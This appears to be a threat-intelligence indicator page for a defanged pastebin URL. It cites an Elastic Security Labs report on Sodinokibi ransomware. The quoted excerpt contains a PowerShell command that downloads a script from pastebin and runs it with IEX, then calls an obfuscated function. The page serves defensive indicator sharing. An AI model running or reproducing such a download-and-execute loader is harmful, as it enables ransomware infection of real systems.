hxxps://pastebin[.]com/raw/URL
Reported by 1 independent source · first reported by Elastic Security Labs · last reported
Last reported 4 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Ransomware, interrupted: Sodinokibi and the supply chain“…ePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" - argument "IEX ((new-object net.webclient).downloadstring('hxxps://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"”
Thanks — we review every report.